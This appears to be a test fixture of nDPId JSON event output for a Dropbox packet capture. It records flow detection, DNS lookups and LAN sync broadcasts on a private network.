+00668{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566407,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfQ1JAAEARNKvAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00668{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566407,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfQ1JAAEARNKvAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":824,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1459182817566,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00665{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566700,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf1cRAAEAR35DAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":824,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1459182817566,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00665{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566700,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf1cRAAEAR35DAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00665{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566700,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf1cRAAEAR35DAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":827,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1459182818229,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":33189,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182818,"pkt_ts_usec":229650,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAQCRAAEARddHAqAFpwKgB\/oGlADUALERt3H0BAAABAAAAAAAABm5vdGlmeQdkcm9wYm94A2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":827,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1459182818229,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":33189,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"notify.dropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00442{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182818,"pkt_ts_usec":229650,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAQCRAAEARddHAqAFpwKgB\/oGlADUALERt3H0BAAABAAAAAAAABm5vdGlmeQdkcm9wYm94A2NvbQAAAQAB"} +00732{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":829,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182818,"pkt_ts_usec":263375,"pkt_caplen":294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":294,"pkt_l4_len":260,"pkt":"eJKcD6iO8IQvSpdgCABFAAEYAABAAEARtR3AqAH+wKgBaQA1gaUBBH9u3H2BgAABAAEABAAEBm5vdGlmeQdkcm9wYm94A2NvbQAAAQABwAwAAQABAAAAcQAEon0Rg8AMAAIAAQAAAHEAFwducy0xMTU0CWF3c2Rucy0xNgNvcmcAwAwAAgABAAAAcQASBW5zLTgzCWF3c2Rucy0xMMAbwAwAAgABAAAAcQAWBm5zLTg5NQlhd3NkbnMtNDcDbmV0AMAMAAIAAQAAAHEAGQducy0xOTM2CWF3c2Rucy01MAJjbwJ1awDAYwABAAEAAVOfAATN+8BTwIEAAQABAAFTrgAEzfvDf8BAAAEAAQABU6sABM37xILAowABAAEAAVN1AATN+8eQ"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":829,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":3,"flow_first_seen":1459182818229,"flow_last_seen":1459182818263,"flow_tot_l4_data_len":348,"flow_min_l4_data_len":44,"flow_max_l4_data_len":260,"flow_avg_l4_data_len":116,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":33189,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"notify.dropbox.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"162.125.17.131"}} +00732{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":830,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182818,"pkt_ts_usec":263375,"pkt_caplen":294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":294,"pkt_l4_len":260,"pkt":"eJKcD6iO8IQvSpdgCABFAAEYAABAAEARtR3AqAH+wKgBaQA1gaUBBH9u3H2BgAABAAEABAAEBm5vdGlmeQdkcm9wYm94A2NvbQAAAQABwAwAAQABAAAAcQAEon0Rg8AMAAIAAQAAAHEAFwducy0xMTU0CWF3c2Rucy0xNgNvcmcAwAwAAgABAAAAcQASBW5zLTgzCWF3c2Rucy0xMMAbwAwAAgABAAAAcQAWBm5zLTg5NQlhd3NkbnMtNDcDbmV0AMAMAAIAAQAAAHEAGQducy0xOTM2CWF3c2Rucy01MAJjbwJ1awDAYwABAAEAAVOfAATN+8BTwIEAAQABAAFTrgAEzfvDf8BAAAEAAQABU6sABM37xILAowABAAEAAVN1AATN+8eQ"} +00668{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673445,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfRXtAAEARMoLAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00668{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673445,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfRXtAAEARMoLAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00668{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":833,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673445,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfRXtAAEARMoLAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00665{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":834,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673733,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf2zBAAEAR2iTAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00665{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":835,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673733,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf2zBAAEAR2iTAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00665{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182830,"pkt_ts_usec":673733,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADf2zBAAEAR2iTAqAFpwKgB\/0RcRFwAywVkeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1459182798651,"flow_last_seen":1459182798820,"flow_tot_l4_data_len":656,"flow_min_l4_data_len":39,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":164,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":50789,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":6,"flow_first_seen":1459182817566,"flow_last_seen":1459182830673,"flow_tot_l4_data_len":1218,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1459182798602,"flow_last_seen":1459182798781,"flow_tot_l4_data_len":638,"flow_min_l4_data_len":47,"flow_max_l4_data_len":272,"flow_avg_l4_data_len":159,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":49112,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1459182796665,"flow_last_seen":1459182796786,"flow_tot_l4_data_len":686,"flow_min_l4_data_len":44,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":55407,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":6,"flow_first_seen":1459182817566,"flow_last_seen":1459182830673,"flow_tot_l4_data_len":1218,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1459182818229,"flow_last_seen":1459182818263,"flow_tot_l4_data_len":608,"flow_min_l4_data_len":44,"flow_max_l4_data_len":260,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":33189,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":8,"flow_first_seen":1459182816605,"flow_last_seen":1459182816645,"flow_tot_l4_data_len":1118,"flow_min_l4_data_len":44,"flow_max_l4_data_len":311,"flow_avg_l4_data_len":139,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":36173,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1535391465534,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00634{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391465,"pkt_ts_usec":534592,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADEWzxAAEARHT\/AqAEG\/\/\/\/\/0RcRFwAsAWteyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":837,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1535391465534,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":838,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1535391465535,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":838,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391465,"pkt_ts_usec":535228,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADENtRAAEARfv\/AqAEGwKgB\/0RcRFwAsEMFeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":838,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1535391465535,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":839,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1535391465534,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":839,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1535391465535,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":839,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":839,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391495,"pkt_ts_usec":539748,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADEaV5AAEARDx3AqAEG\/\/\/\/\/0RcRFwAsAWteyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":839,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":840,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 